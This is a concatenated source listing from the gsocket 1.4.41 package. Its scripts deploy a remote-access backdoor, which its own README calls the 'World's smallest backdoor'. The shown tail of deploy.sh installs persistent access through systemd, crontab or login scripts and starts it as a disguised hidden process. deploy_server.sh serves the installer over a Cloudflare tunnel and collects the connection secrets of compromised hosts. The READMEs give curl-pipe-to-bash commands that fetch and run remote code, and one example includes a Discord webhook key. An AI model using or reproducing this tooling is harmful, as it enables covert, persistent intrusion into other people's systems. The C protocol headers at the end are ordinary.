IS_GS_RUNNING=1
fi
}
init_vars
[[ "$1" =~ (clean|uninstall|clear|undo) ]] && uninstall
[[ -n "$GS_UNDO" ]] || [[ -n "$GS_CLEAN" ]] || [[ -n "$GS_UNINSTALL" ]] && uninstall
init_setup
# User supplied install-secret: X=MySecret bash -c "$(curl -fsSL https://gsocket.io/x)"
[[ -n "$X" ]] && GS_SECRET_X="$X"
if [[ -z $S ]]; then
if [[ $UID -eq 0 ]]; then
gs_secret_reload "$SYSTEMD_SEC_FILE"
gs_secret_reload "$RCLOCAL_SEC_FILE"
fi
gs_secret_reload "$USER_SEC_FILE"
if [[ -n $GS_SECRET_FROM_FILE ]]; then
GS_SECRET="${GS_SECRET_FROM_FILE}"
else
GS_SECRET="${GS_SECRET_X}"
fi
DEBUGF "GS_SECRET=$GS_SECRET (F=${GS_SECRET_FROM_FILE}, X=${GS_SECRET_X})"
else
GS_SECRET="$S"
fi
try "$OSARCH"
[[ -z "$GS_OSARCH" ]] && [[ -z "$IS_TESTBIN_OK" ]] && try_any
WARN_EXECFAIL
[[ -z "$IS_TESTBIN_OK" ]] && errexit "None of the binaries worked."
[[ -z $S ]] && try_network
# [[ -n "$GS_UPDATE" ]] && gs_update
# S= is set. Do not install but connect to remote using S= as secret.
[[ -n "$S" ]] && gs_access
# -----BEGIN Install permanentally-----
if [[ -z $GS_NOINST ]]; then
if [[ -n $IS_DSTBIN_TMP ]]; then
echo -en "Installing remote access.............................................."
FAIL_OUT "${CDR}Set GS_DSTDIR= to a writeable & executable directory.${CN}"
else
# Try to install system wide. This may also start the service.
[[ $UID -eq 0 ]] && install_system
# Try to install to user's login script or crontab (if not installed as SYSTEMD)
[[ -z "$IS_INSTALLED" || -z "$IS_SYSTEMD" ]] && install_user
fi
else
echo -e "GS_NOINST is set. Skipping installation."
fi
# -----END Install permanentally-----
if [[ -z "$IS_INSTALLED" ]] || [[ -n $IS_DSTBIN_TMP ]]; then
echo -e >&2 "--> ${CR}Access will be lost after reboot.${CN}"
fi
[[ -n $IS_DSTBIN_CWD ]] && WARN "Installed to ${PWD}. Try GS_DSTDIR= otherwise.."
webhooks
HOWTO_CONNECT_OUT
printf "%-70.70s" "Starting '${BIN_HIDDEN_NAME}' as hidden process '${PROC_HIDDEN_NAME}'....................................."
if [[ -n "$GS_NOSTART" ]]; then
SKIP_OUT "GS_NOSTART=1 is set."
else
gs_start
fi
echo -e "--> ${CW}Join us on Telegram - https://t.me/thcorg${CN}"
exit_code 0
gsocket-1.4.41/deploy/deploy_server.sh 0000755 0001750 0001750 00000013443 14503376047 017677 0 ustar epsilon epsilon #! /usr/bin/env bash
# Most users never need to use this script. If you just want to deploy gsocket
# then go to https://gsocket.io/deploy or use
# bash -c "$(curl -fsSL https://gsocket.io/x)"
# This script spins up a Cloudflare Tunnel to serve the deploy.sh script
# and all binary files from an ephemeral URL.
#
# This is helpful if the user wants to:
# 1. Received a Telegram, Discord or Webhook notification on installs
# 2. Use your own Global Socket Relay Network
#
# To run this script type:
# bash -c "$(curl -fsSL https://gsocket.io/deploy/xs)"
# ---or---
# LOG=results.log bash -c "$(curl -fsSL https://gsocket.io/deploy/xs)"
[[ -z $PORT ]] && PORT="32803"
DATA_DIR="gs-www-data"
packages=()
packages+=("x86_64-alpine.tar.gz")
packages+=("aarch64-linux.tar.gz")
packages+=("arm-linux.tar.gz")
packages+=("i386-alpine.tar.gz")
packages+=("i686-cygwin.tar.gz")
packages+=("mips32-alpine.tar.gz")
packages+=("mips64-alpine.tar.gz")
packages+=("mipsel32-alpine.tar.gz")
packages+=("x86_64-osx.tar.gz")
packages+=("x86_64-freebsd.tar.gz")
[[ -t 1 ]] && {
CY="\033[1;33m" # yellow
CDY="\033[0;33m" # yellow
CG="\033[1;32m" # green
CDG="\033[0;32m" # green
CR="\033[1;31m" # red
CDR="\033[0;31m" # red
CC="\033[1;36m" # cyan
CDC="\033[0;36m" # cyan
CM="\033[1;35m" # magenta
CDM="\033[0;35m" # magenta
CN="\033[0m" # none
CW="\033[1;37m"
CF="\e[2m" # faint
}
do_stop()
{
local arr
[[ -f "cloudflare.pid" ]] && {
kill -9 "$(cat cloudflare.pid)" &>/dev/null
arr+=("cloudflare.pid")
}
[[ -f "www.pid" ]] && {
kill -9 "$(cat www.pid)" &>/dev/null
arr+=("www.pid")
}
rm -f "${arr[@]}"
}
do_cleanup()
{
rm -f "cloudflare.log" "www_err.log" &>/dev/null
}
ERREXIT()
{
local code
code=$1
shift 1
[[ -n "$*" ]] && echo -e >&2 "$*"
exit "$code"
}
do_sigtrap()
{
do_stop
do_cleanup
echo -e "\nType ${CDC}rm -rf ${DATA_DIR} ${LOG}${CN} to clean all files."
exit 0
}
trap do_sigtrap SIGINT SIGPIPE SIGTERM SIGHUP
check_prog()
{
command -v "$1" >/dev/null && return
ERREXIT 255 "Not found: $1. Please install ${CDC}${1}${CN}."
}
start()
{
local pidfn
local name
local err_logfn
name="$1"
err_logfn="$2"
pidfn="${name,,}.pid"
shift 2
[[ -e "${pidfn}" ]] && { kill -0 "$(cat "${pidfn}")" &>/dev/null || rm -f "${pidfn:?}"; }
if [[ -e "${pidfn}" ]]; then
echo -e >&2 "${CY}WARN${CN}: ${name} already running. To restart, type ${CDC}kill -9 $(cat ${pidfn}); rm -f ${pidfn}${CN}"
return
fi
:>"${name,,}.log"
"$@" >/dev/null 2>"${err_logfn}" &
echo "$!" >"${pidfn}"
}
check_prog "cloudflared"
check_prog "curl"
PYTHON="python"
command -v python >/dev/null || {
[[ "$(python3 --version 2>/dev/null)" != "Python 3"* ]] && ERREXIT 255 "Not found: python."
PYTHON=python3
}
"$PYTHON" -m http.server -h >/dev/null || ERREXIT 255 "Python -m http.server not found."
[[ ! -d "${DATA_DIR}/bin" ]] && mkdir -p "${DATA_DIR}/bin"
[[ ! -f "${DATA_DIR}/x" ]] && {
echo -e "Downloading ${CDY}x${CN} (e.g. deploy.sh)"
curl -fsSL 'https://github.com/hackerschoice/gsocket/raw/master/deploy/deploy.sh' --output "${DATA_DIR}/x"
}
for n in "${packages[@]}"; do
[[ -f "${DATA_DIR}/bin/gs-netcat_${n}" ]] && continue
echo -e "Downloading ${CDY}gs-netcat_${n}${CN}..."
curl -fsSL "https://github.com/hackerschoice/binary/raw/main/gsocket/bin/gs-netcat_${n}" --output "${DATA_DIR}/bin/gs-netcat_${n}"
done
start "Cloudflare" "cloudflare.log" cloudflared tunnel --url "http://127.0.0.1:${PORT}" --no-autoupdate
start "www" "www_err.log" "$PYTHON" -m http.server --bind 127.0.0.1 --directory "${DATA_DIR}" "${PORT}"
i=0
while :; do
str=$(grep -E "https://.*trycloudflare.com" cloudflare.log | tail -n1 | cut -f2 -d'|' | sed 's/ //g')
[[ -n $str ]] && break
((i++))
[[ $i -gt 10 ]] && {
do_stop
ERREXIT 255 "Could not get cloudflare tunnel. See cloudflare.log for details."
}
sleep 1
done
str="${str:8}" # cut of https://
str="${str//[^[:alnum:]].-}" # sanitize
[[ -z $str ]] && {
do_stop
ERREXIT 255 "Could not get CF URL. See cloudflare.log for details"
}
URL_BASE="https://${str}"
# update deploy.sh
sed "s|^URL_BASE=.*|URL_BASE=\"${URL_BASE}\"|" -i "${DATA_DIR}/x"
sed "s|^gs_deploy_webhook=.*|gs_deploy_webhook='${URL_BASE}/results.php?s=\${GS_SECRET}'|" -i "${DATA_DIR}/x"
sed 's|^GS_WEBHOOK_404_OK=.*|GS_WEBHOOK_404_OK=1|' -i "${DATA_DIR}/x"
echo -e "\
${CDG}All successfull deployments will be shown below.${CN}
${CDY}To log via Telegram, Discord or webhook.site please edit
${CW}$(realpath "$(pwd)/${DATA_DIR}/x")${CDY} and set${CN}
1. ${CDC}GS_TG_TOKEN=${CN}, ${CDC}GS_TG_CHATID=${CN} OR ${CDC}GS_DISCORD_KEY=${CN} OR ${CDC}GS_WEBHOOK_KEY=${CN}
${CW}${CF}Set the IP/HOST and PORT if you run your OWN Relay Network:
${CF}2. ${CC}${CF}GS_HOST=1.2.3.4${CN}, ${CC}${CF}GS_PORT=443${CN}
To deploy gsocket:
${CM}bash -c \"\$(curl -fsSL ${URL_BASE}/x)\"${CN}
${CM}bash -c \"\$(wget --no-verbose -O- ${URL_BASE}/x)\"${CN}
or set the variable during deployment. Example:
${CDM}GS_DISCORD_KEY='1106565073956253736/mEDRS5iY0S4sgUnRh8Q5pC4S54zYwczZhGOwXvR3vKr7YQmA0Ej1-Ig60Rh4P_TGFq-m' \\
bash -c \"\$(curl -fsSL ${URL_BASE}/x)\"${CN}
Press CTRL-C to stop
${CDG}-----RESULTS BELOW-----${CN}"
# a dirty hack to retrieve results: The deploy scripts requests an
# non-existing PATH/$SECRET and we retrieve it from the error log.
tail -f www_err.log | while read -r str; do
str="${str//[^[:alnum:] \/:.&=?]/}" # sanitize
str="${str##*GET \/results.php?s=}"
str="${str%% *}"
str="${str//[^[:alnum:]]/}" # sanitize
[[ ${#str} -ne 22 ]] && continue
d="$(date -u)"
echo -e "[${CDG}${d}${CN}] ${CDC}gs-netcat -i -s '${CC}${str}${CDC}'${CN}"
[[ -n $LOG ]] && echo -e "[${d}] gs-netcat -i -s '${str}'" >>"${LOG}"
done
do_sigtrap
gsocket-1.4.41/deploy/README.md 0000644 0001750 0001750 00000002571 14503376047 015735 0 ustar epsilon epsilon
GSOCKET works on Linux, FreeBSD, macOS, Cygwin and many others. If the particular OS is not listed here then try the *Install Script* or *compile from source*.
---
***Static Binary***
The [deploy instructions](https://www.gsocket.io/deploy/) are the fastest way to install gsocket. Some people say it's the **_World's smallest backdoor_**.
A stripped down version of just gs-netcat (without blitz, gs-mount, gs-ftp, ...) and no help (`--help`) is available as [pre-compiled static binary](https://github.com/hackerschoice/binary/tree/main/gsocket/bin).
---
**Lastest Source: https://github.com/hackerschoice/gsocket/releases/latest**
---
**Generic - Compile from GitHub**
```
/bin/bash -c "$(curl -fsSL gsocket.io/install.sh)"
```
---
**Generic - Compile from Source**
Download the [latest source](https://github.com/hackerschoice/gsocket/releases/latest).
```
tar xfz gsocket-*.tar.gz
cd gsocket-*
./configure && make install
```
---
**Debian/Ubuntu/Kali**
```
apt update
apt install gsocket
```
---
**Other Linux**
```
curl -fsSL https://github.com/hackerschoice/binary/blob/main/gsocket/latest/gsocket_latest_all.deb --output gsocket_latest.deb
dpkg -i gsocket_latest.deb
```
---
**FreeBSD**
```
pkg update
pkg install gsocket
```
---
**Docker**
Try gsocket with Docker.
```
docker run --rm -it hackerschoice/gsocket
```
```
docker run --rm -it hackerschoice/gsocket-tor
```
---
gsocket-1.4.41/deploy/README-update.md 0000644 0001750 0001750 00000002423 14503376047 017211 0 ustar epsilon epsilon
All gs-netcat installations need to be updated to version 1.4.32 or later.
How to update a deployed gs-netcat from https://www.gsocket.io/deploy to the latest gs-netcat version.
---
1. Verify which version of gs-netcat is running on your workstation
```
gs-netcat -h 2>&1 | grep GS
OpenSSL 1.1.1k 25 Mar 2021 [0x101010bfL] (GS v1.4.30)
```
2. Use any of these commands to log into your old session:
```
gs-netcat -i
S=YourSecret bash -c "$(curl -fsSL gsocket.io/xold)"
S=YourSecret bash -c "$(wget -qO- gsocket.io/xold)"
```
3. On the remote shell execute these commands:
```
GS_UNDO=1 bash -c "$(curl -fsSL gsocket.io/xold)"
GSPID=$(pidof gs-bd)
X=YourSecret bash -c "$(curl -fsSL gsocket.io/x)"
kill $GSPID
```
4. Update gs-netcat on your workstation to 1.4.32 or later (alternatively see Pro-Tip below):
```
/bin/bash -c "$(curl -fsSL https://tiny.cc/gsinst)"
```
5. Log in to your newly deployed gs-netcat (using verion 1.4.32 or later) with any of these commands:
```
gs-netcat -i
S=YourSecret bash -c "$(curl -fsSL gsocket.io/x)"
S=YourSecret bash -c "$(wget -qO- gsocket.io/x)"
```
---
Pro-Tip: Upgrade your local gs-netcat with the static binary with any of these commands:
```
GS_UPDATE=1 bash -c "$(curl -fsSL gsocket.io/x)"
GS_UPDATE=1 bash -c "$(wget -qO- gsocket.io/x)"
```
gsocket-1.4.41/include/ 0000755 0001750 0001750 00000000000 14503376047 014600 5 ustar epsilon epsilon gsocket-1.4.41/include/Makefile.am 0000755 0001750 0001750 00000000023 14503376047 016632 0 ustar epsilon epsilon SUBDIRS = gsocket
gsocket-1.4.41/include/gsocket/ 0000755 0001750 0001750 00000000000 14503376047 016237 5 ustar epsilon epsilon gsocket-1.4.41/include/gsocket/gs-select.h 0000644 0001750 0001750 00000004607 14503376047 020305 0 ustar epsilon epsilon
#ifndef __LIBGSOCKET_SELECT_H__
#define __LIBGSOCKET_SELECT_H__ 1
struct _gs_sel_item
{
int (*func)(void *ctx, int fd, void *cb_arg, int cb_val);
void *cb_arg;
int cb_val;
};
enum bfunc_state {GS_CALLREAD = 0x01, GS_CALLWRITE = 0x02};
typedef struct _gs_select_ctx
{
int max_fd;
fd_set *rfd;
fd_set *wfd;
fd_set *r;
fd_set *w;
struct timeval tv;
struct timeval *tv_now;
struct _gs_sel_item mgr_r[FD_SETSIZE];
struct _gs_sel_item mgr_w[FD_SETSIZE];
enum bfunc_state blocking_func[FD_SETSIZE];
int saved_rw_state[FD_SETSIZE]; /* 0 == not saved. 1 = READ, 2 = WRITE, 3 = R&W */
int is_rw_state_saved[FD_SETSIZE];
int want_io_write[FD_SETSIZE];
int want_io_read[FD_SETSIZE];
int rdata_pending[FD_SETSIZE];
int rdata_pending_count;
GS_EVENT_MGR emgr; // Event Manager (for Heartbeat)
GS_EVENT hb; // Heatbeat timeout; return control to caller
} GS_SELECT_CTX;
typedef int (*gselect_cb_t)(GS_SELECT_CTX *ctx, int fd, void *arg, int val);
int GS_SELECT_CTX_init(GS_SELECT_CTX *ctx, fd_set *rfd, fd_set *wfd, fd_set *r, fd_set *w, struct timeval *tv_now, int frequency);
int GS_select(GS_SELECT_CTX *ctx);
void GS_SELECT_add_cb_r(GS_SELECT_CTX *ctx, gselect_cb_t func, int fd, void *arg, int val);
void GS_SELECT_add_cb_w(GS_SELECT_CTX *ctx, gselect_cb_t func, int fd, void *arg, int val);
void GS_SELECT_add_cb(GS_SELECT_CTX *ctx, gselect_cb_t func_r, gselect_cb_t func_w, int fd, void *arg, int val);
void GS_SELECT_add_cb_callagain(GS_SELECT_CTX *ctx, gselect_cb_t func_r, gselect_cb_t func_w, int fd, void *arg, int val);
void GS_SELECT_del_cb(GS_SELECT_CTX *ctx, int fd);
void GS_SELECT_del_cb_callagain(GS_SELECT_CTX *ctx, int fd);
#define GS_SELECT_FD_CLR_R(ctx, fd) do { \
if ((ctx)->is_rw_state_saved[fd]) { ctx->saved_rw_state[fd] &= ~0x01; } \
FD_CLR(fd, (ctx)->rfd); \
} while (0)
#define GS_SELECT_FD_CLR_W(ctx, fd) do { \
if ((ctx)->is_rw_state_saved[fd]) { ctx->saved_rw_state[fd] &= ~0x02; } \
FD_CLR(fd, (ctx)->wfd); \
} while (0)
#define GS_SELECT_FD_SET_R(ctx, fd) do { \
if ((ctx)->is_rw_state_saved[fd]) { \
ctx->saved_rw_state[fd] |= 0x01; \
} else { \
XFD_SET(fd, (ctx)->rfd); \
} \
} while (0)
#define GS_SUCCESS (0x00)
#define GS_ECALLAGAIN (0x01) // Return Error Likes to be calleda gain
#define GS_ERR_WAITING -1 // Waiting for I/O
#define GS_ERR_FATAL -2 // must exit (?)
#define GS_ERR_EOF -3
#define GS_ERROR -4
#endif /* !__LIBGSOCKET_SELECT_H__ */
gsocket-1.4.41/include/gsocket/gsocket.h 0000644 0001750 0001750 00000035505 14503376047 020057 0 ustar epsilon epsilon
#ifndef __LIBGSOCKET_H__
#define __LIBGSOCKET_H__ 1
#define WITH_GSOCKET_SSL 1
#ifndef GS_MAX
# define GS_MAX(X, Y) (((X) < (Y)) ? (Y) : (X))
#endif
#ifndef GS_MIN
# define GS_MIN(X, Y) (((X) < (Y)) ? (X) : (Y))
#endif
#define GS_ADDR_SIZE (16) /* 128 bit */
#define GS_MAX_SOX_BACKLOG (5) /* Relevant for GS_listen() only */
#define GS_TOKEN_SIZE (16) /* 128 bit */
#define GS_TV_TO_USEC(tv) ((uint64_t)(tv)->tv_sec * 1000000 + (tv)->tv_usec)
#define GS_TV_TO_MSEC(tv) ((uint64_t)(tv)->tv_sec * 1000 + (tv)->tv_usec/1000)
#define GS_TV_DIFF(tv_a, tv_b) (GS_TV_TO_USEC(tv_b) - GS_TV_TO_USEC(tv_a))
#define GS_SEC_TO_USEC(sec) ((uint64_t)(sec) * 1000000)
#define GS_MSEC_TO_USEC(ms) ((uint64_t)(ms) * 1000)
#define GS_USEC_TO_SEC(usec) ((usec) / 1000000)
#define GS_USEC_TO_MSEC(usec) ((usec) / 1000)
#define GS_USEC_TO_TV(tv, usec) do { (tv)->tv_sec = (usec) / 1000000; (tv)->tv_usec = (usec) % 1000000; } while(0)
#define GS_SECRET_MAX_LEN (256 / 8) /* max length in bytes */
#define GS_DFL_CIPHER "SRP-AES-256-CBC-SHA"
#define GS_DFL_CIPHER_STRENGTH "4096"
#define GS_LOG_INFO_MSG_SIZE (1024)
#define GS_LOG_TYPE_NORMAL (0) // A non-error is reported by the library
#define GS_LOG_TYPE_ERROR (1) // An error is reported by the library
#define GS_LOG_TYPE_DEBUG (5)
#define GS_LOG_LEVEL_NONE (0)
#define GS_LOG_LEVEL_VERBOSE (1) // -v
#define GS_LOG_LEVEL_MOREVERB (2) // -vv
#define GS_LOG_LEVEL_INSANE (3) // -vvv
#define GS_LOG(a...) do { GS_log(GS_LOG_TYPE_NORMAL, GS_LOG_LEVEL_NONE, a); } while(0)
#define GS_LOG_V(a...) do { GS_log(GS_LOG_TYPE_NORMAL, GS_LOG_LEVEL_VERBOSE, a); } while(0)
#define GS_LOG_VV(a...) do { GS_log(GS_LOG_TYPE_NORMAL, GS_LOG_LEVEL_MOREVERB, a); } while(0)
#define GS_LOG_VVV(a...) do { GS_log(GS_LOG_TYPE_NORMAL, GS_LOG_LEVEL_INSANE, a); } while(0)
#define GS_LOG_ERR(a...) do { GS_log(GS_LOG_TYPE_ERROR, GS_LOG_LEVEL_NONE, a); } while(0)
#include
#include
#include
#include
#include
#include
#define GSRN_DEFAULT_PORT 443
#define GSRN_DEFAULT_PORT_CON 7351
// Some FW's kill connections after 60 seconds.
#define GSRN_DEFAULT_PING_INTERVAL (45)
// Wait before allowing same listening address with different auth-token
#define GSRN_TOKEN_LINGER_SEC (7)
/* ###########################
* ### PROTOCOL DEFINITION ###
* ###########################
*/
// _gs_hdr_con is identical for _gs_listen and _gs_connect
struct _gs_hdr_lc
{
uint8_t type;
uint8_t version_major;
uint8_t version_minor;
uint8_t flags;
uint8_t reserved2[28];
uint8_t addr[GS_ADDR_SIZE]; // 16 bytes
};
/* First message from Listening Client (LC) to GS-Network (GN) [server]
* LC2GN: Register a GS-Address for listening.
*/
struct _gs_listen /* 128 bytes */
{
union {
struct _gs_hdr_lc hdr;
struct
{
uint8_t type;
uint8_t version_major;
uint8_t version_minor;
uint8_t flags;
uint8_t reserved1[4];
uint8_t reserved2[8];
uint8_t token[GS_TOKEN_SIZE]; // 16 bytes
uint8_t addr[GS_ADDR_SIZE];
};
};
uint8_t reserved3[16];
uint8_t reserved4[64];
};
/*
* First message from Connecting Client (CC) to GS-Network (GN) [server]
* CC2GN: Connect a listening GS-Address.
* CC awaiting _gs_start from GN.
*/
struct _gs_connect
{
union {
struct _gs_hdr_lc hdr;
struct
{
uint8_t type;
uint8_t version_major;
uint8_t version_minor;
uint8_t flags;
uint8_t reserved1[4];
uint8_t reserved2[8];
uint8_t token_NOTUSED[GS_TOKEN_SIZE]; // 16 bytes
uint8_t addr[GS_ADDR_SIZE]; // 16 bytes
};
};
uint8_t reserved3[16];
uint8_t reserved4[64];
};
#define GS_PKT_PROTO_VERSION_MAJOR (1)
#define GS_PKT_PROTO_VERSION_MINOR (3)
// Wait for server to become available (-w option)
#define GS_FL_PROTO_WAIT (0x01)
// Allow client to become a server if server does not exist (-A option).
#define GS_FL_PROTO_CLIENT_OR_SERVER (0x02)
// Perform a fast-connect. Do not wait for GSRN to send '_gs_start'.
// Data sent aftet '_gs_connect' is app-data (SSL SRP in most cases).
// FAST_CONNECT is incompatible with 0x01 and 0x02.
#define GS_FL_PROTO_FAST_CONNECT (0x04)
// Inform GSRN that client prefers low-latency (interactive shell)
#define GS_FL_PROTO_LOW_LATENCY (0x08)
// Check if GS-ADDRESS is listening/waiting
#define GS_FL_PROTO_SERVER_CHECK (0x10)
/*
* all2GN
*/
struct _gs_ping
{
uint8_t type;
uint8_t reserved[3];
uint8_t payload[28];
};
// #define GS_PKT_PING_PAYLOAD_SIZE (28)
/*
* GN2all
*/
struct _gs_pong
{
uint8_t type;
uint8_t reserved[3];
uint8_t payload[28];
};
/* GN2all: New incoming connection.
* GN must not send any further GS messages.
*/
struct _gs_start
{
uint8_t type;
uint8_t flags;
uint8_t reserved[2];
uint8_t reserved2[28];
};
#define GS_FL_PROTO_START_SERVER (0x01) /* Act as a Server [ssl] */
#define GS_FL_PROTO_START_CLIENT (0x02) /* Act as a Client [ssl] */
/* GN2all: Status (error)
*/
struct _gs_status
{
uint8_t type;
uint8_t err_type;
uint8_t code;
uint8_t reserved[1];
uint8_t msg[28];
};
/* err_type */
#define GS_STATUS_TYPE_WARN (0x01)
#define GS_STATUS_TYPE_FATAL (0x02) // Must exit.
#define GS_STATUS_CODE_BAD_AUTH (0x01) // Auth Token mismatch
#define GS_STATUS_CODE_CONNREFUSED (0x02) // No server listening
#define GS_STATUS_CODE_IDLE_TIMEOUT (0x03) // Timeout
#define GS_STATUS_CODE_CONNDENIED (0x04) // Connection denied
#define GS_STATUS_CODE_PROTOERROR (0x05) // Protocol error
#define GS_STATUS_CODE_SERVER_OK (0x06) // Server exists
#define GS_STATUS_CODE_NETERROR (0x07) // TCP error (likely ECONNREFUSED)
#define GS_STATUS_CODE_NEEDUPDATE (0x2A) // oct=42; Needs updating of client.
/*
* all2GN: Accepting incoming connection.
* LC/CC must not send any further GS messages.
*/
struct _gs_accept
{
uint8_t type;
uint8_t reserved[3];
uint8_t reserved2[28];
};
#define GS_PKT_TYPE_LISTEN (0x01) // LC2GN
#define GS_PKT_TYPE_CONNECT (0x02) // CC2GN
#define GS_PKT_TYPE_PING (0x03) // all2GN
#define GS_PKT_TYPE_PONG (0x04) // GN2all
#define GS_PKT_TYPE_START (0x05) // GN2all
#define GS_PKT_TYPE_ACCEPT (0x06) // all2GN
#define GS_PKT_TYPE_STATUS (0x07) // GN2all
#define GS_MAX_MSG_LEN GS_MAX(sizeof (struct _gs_listen), GS_MAX(sizeof (struct _gs_ping), GS_MAX(sizeof (struct _gs_pong), sizeof (struct _gs_start))))
enum gs_ctx_flags_t {GS_CTX_FL_RFD_INTERNAL};
enum gs_flags_t {
GS_FL_TCP_CONNECTED = 0x01, // App TCP sockets are connected
GSC_FL_NONBLOCKING = 0x02, // Do not Block on socket IO
GS_FL_CALLED_NET_CONNECT = 0x04, // GS_connect() already called GS_FL_CALLED_NET_CONNECT
GS_FL_IS_CLIENT = 0x08,
GS_FL_CALLED_NET_NEW_SOCKET = 0x10,
GSC_FL_USE_SRP = 0x20,
GSC_FL_CLIENT_OR_SERVER = 0x40,
GS_FL_IS_SERVER = 0x80, // A GS-CLient (the first connected) is an SRP-Server
GS_FL_AUTO_RECONNECT = 0x100, // GS_accept() to reconnect on GS-NET errors
GS_FL_SINGLE_SHOT = 0x200 // single GS_listen(). (for stdin/stdout)
};
/*
* - GS-Network host/port
* - Handle TCP sockets (non-blocking)
*/
typedef struct
{
int max_sox;
fd_set *rfd;
fd_set *wfd;
fd_set *r;
fd_set *w;
int gsocket_success_count; /* Successfull connection counter */
GS_SELECT_CTX *gselect_ctx;
/* Listening CB and values */
gselect_cb_t func_listen;
int cb_val_listen;
struct timeval *tv_now;
char err_buf[1024];
char err_buf2[1024];
enum gs_ctx_flags_t flags; // CTX specific flags
enum gs_flags_t gs_flags; // GS specific flags. Copied to GS on creation.
uint32_t flags_proto;
uint32_t socks_ip; // NBO. Use Socks5
uint16_t socks_port; // Socks5
uint16_t gs_port; // GSOCKET_PORT
} GS_CTX;
enum sox_state_t {
GS_STATE_SYS_NONE, // We are idle...
GS_STATE_SYS_CONNECT, // need call to 'connect()' _again_.
GS_STATE_SYS_RECONNECT, // Re-connecting to GS-NET
GS_STATE_PKT_LISTEN, // listen_write() did not complete
GS_STATE_PKT_PING, // ping_write() did not complete
GS_STATE_APP_CONNECTED, // Application is connected. Passingthrough of data (no pkt any longer)
GS_STATE_PKT_CONNECT,
GS_STATE_PKT_ACCEPT,
GS_STATE_SOCKS // TOR
};
enum sox_flags_t {
GS_SOX_FL_AWAITING_PONG, // Waiting for PONG
GS_SOX_FL_AWAITING_SOCKS, // Waiting for Socks5 (TOR) reply
GS_SOX_FL_WARN_SLOWCONNECT // ==1 if warning about connect() being slow has been issued
};
/* TCP network address may depend on GS_ADDR (load balancing) */
struct gs_sox
{
int fd;
enum sox_state_t state;
enum sox_flags_t flags;
uint8_t rbuf[GS_MAX_MSG_LEN];
size_t rlen;
uint8_t wbuf[GS_MAX_MSG_LEN];
size_t wlen;
struct timeval tv_last_data; /* For KeepAlive */
};
struct gs_net
{
uint16_t port; /* NBO */
uint32_t addr; /* IPv4, NBO */
int conn_count;
struct gs_sox sox[GS_MAX_SOX_BACKLOG];
int n_sox; /* Number of sox[n] entries */
int fd_accepted;
char *hostname; /* xxx.gs.thc.org */
uint64_t tv_connect; // Time connect() was called
uint64_t tv_gs_hton; // Time hostname was resolved last.
int is_connect_error_warned; // 'Re-connecting...' warning issued
};
// Originally the password was the first 128bit from a SHA256(gs_secret)
// and then converted to a 32bytes hex string + '\0' to terminate.
//
// A bug in any version <= 1.4.33 caused 1 extra hex to be added to the string
// of size 32, making it 33 hex long and overwriting peer->gs_flags with '\0'.
// Any version > 1.4.33 needs to be backward compatible. Thus we increase
// the PASSWORD_LENGTH to 33 and from now onwards the SRP-PASSWORD
// is 33 hex + '\0' long (132bit). Sucks to be us.
#define GS_SRP_PASSWORD_LENGTH (33)
typedef struct
{
uint8_t addr[GS_ADDR_SIZE];
char srp_password[GS_SRP_PASSWORD_LENGTH + 1];
} GS_ADDR;
#ifdef WITH_GSOCKET_SSL
enum ssl_state_t {
GS_SSL_STATE_ACCEPT, /* Call SSL_accpet() again */
GS_SSL_STATE_CONNECT, /* Call SSL_connect() again */
GS_SSL_STATE_RW, /* Call SSL_read/SSL_write again */
GS_SSL_STATE_SHUTDOWN /* Call SSL_shutdown() again */
};
#endif
enum gs_rw_state_t {
GS_CAN_READ = 0x01,
GS_CAN_WRITE = 0x02,
GS_CAN_RW = 0x03
};
/*
* A specific GS connection with a single GSOCKET-ID.
* There can be multiple connection per GSOCKET-ID (eventually).
*/
typedef struct
{
GS_CTX *ctx;
GS_ADDR gs_addr;
enum gs_flags_t flags;
int id; /* ID of this gsocket. Set AFTER conn success */
struct gs_net net; /* fd's for listening tcp_fd */
int fd; /* Only set if this is a 'connected' tcp_fd (not listening socket) */
int64_t bytes_read;
int64_t bytes_written;
uint64_t ts_net_io; // TimeStamp network I/O
struct timeval tv_connected; /* TV when GS entered CONNECTED state */
int read_pending;
int write_pending;
int is_sent_shutdown;
int is_want_shutdown; /* Call GS_shutdown() after SRP completion */
uint8_t token[GS_TOKEN_SIZE];
int eof_count; /* How many EOF received (needed for ssl compat) */
int status_code;
#ifdef WITH_GSOCKET_SSL
SSL_CTX *ssl_ctx;
SRP_VBASE *srpData; /* Verifier is identical 4 all conns on same GS */
SSL *ssl;
enum ssl_state_t ssl_state;
char srp_sec[128]; /* SRP Secret */
int ssl_shutdown_count; // Calls to gs_ssl_close
#endif
} GS;
struct _gs_log_info
{
int level; // verbosity level
int type; // GS_LOG_TYPE_DEBUG or GS_LOG_TYPE_NORMAL
char *msg; // log message
};
typedef void (*gs_cb_log_t)(struct _gs_log_info *l);
/* #####################################
* ### GSOCKET FUNCTION DECLARATIONS ###
* #####################################
*/
void GS_library_init(FILE *err_fp, FILE *dout_fp, gs_cb_log_t func_log);
int GS_CTX_init(GS_CTX *, fd_set *rfd, fd_set *wfd, fd_set *r, fd_set *w, struct timeval *tv_now);
void GS_CTX_use_gselect(GS_CTX *ctx, GS_SELECT_CTX *gselect_ctx);
int GS_CTX_free(GS_CTX *);
GS *GS_new(GS_CTX *ctx, GS_ADDR *addr); /* Connect to GS-Network */
const char *GS_CTX_strerror(GS_CTX *gs_ctx);
const char *GS_strerror(GS *gsocket);
int GS_connect(GS *gsocket); /* Fail if no such GS-ID is listening */
int GS_get_fd(GS *gsocket);
int GS_listen(GS *gsocket, int backlog); /* Listen for an incoming GS connection */
void GS_listen_add_gs_select(GS *gs, GS_SELECT_CTX *ctx, gselect_cb_t func, void *arg, int val);
GS *GS_accept(GS *gsocket, int *error); /* Wait until client connects by GS-ID and return Unix fileno */
int GS_close(GS *gsocket); /* close() and free() a connected GS */
int GS_shutdown(GS *gsocket);
void GS_heartbeat(GS *gsocket);
void GS_set_token(GS *gsocket, const void *buf, size_t num);
/* Logging */
char *GS_usecstr(char *dst, size_t len, uint64_t usec);
char *GS_bytesstr(char *dst, size_t len, int64_t bytes);
char *GS_bytesstr_long(char *dst, size_t len, int64_t bytes);
const char *GS_logtime(void);
void GS_log(int type, int level, char *fmt, ...);
char *GS_bin2hex(char *dst, size_t dsz, const void *src, size_t sz);
char *GS_bin2HEX(char *dst, size_t dsz, const void *src, size_t sz);
char *GS_bin2b58(char *b58, size_t *b58sz, uint8_t *src, size_t binsz);
char *GS_addr2hex(char *dst, const void *src);
char *GS_token2hex(char *dst, const void *src);
char *GS_getenv(const char *name);
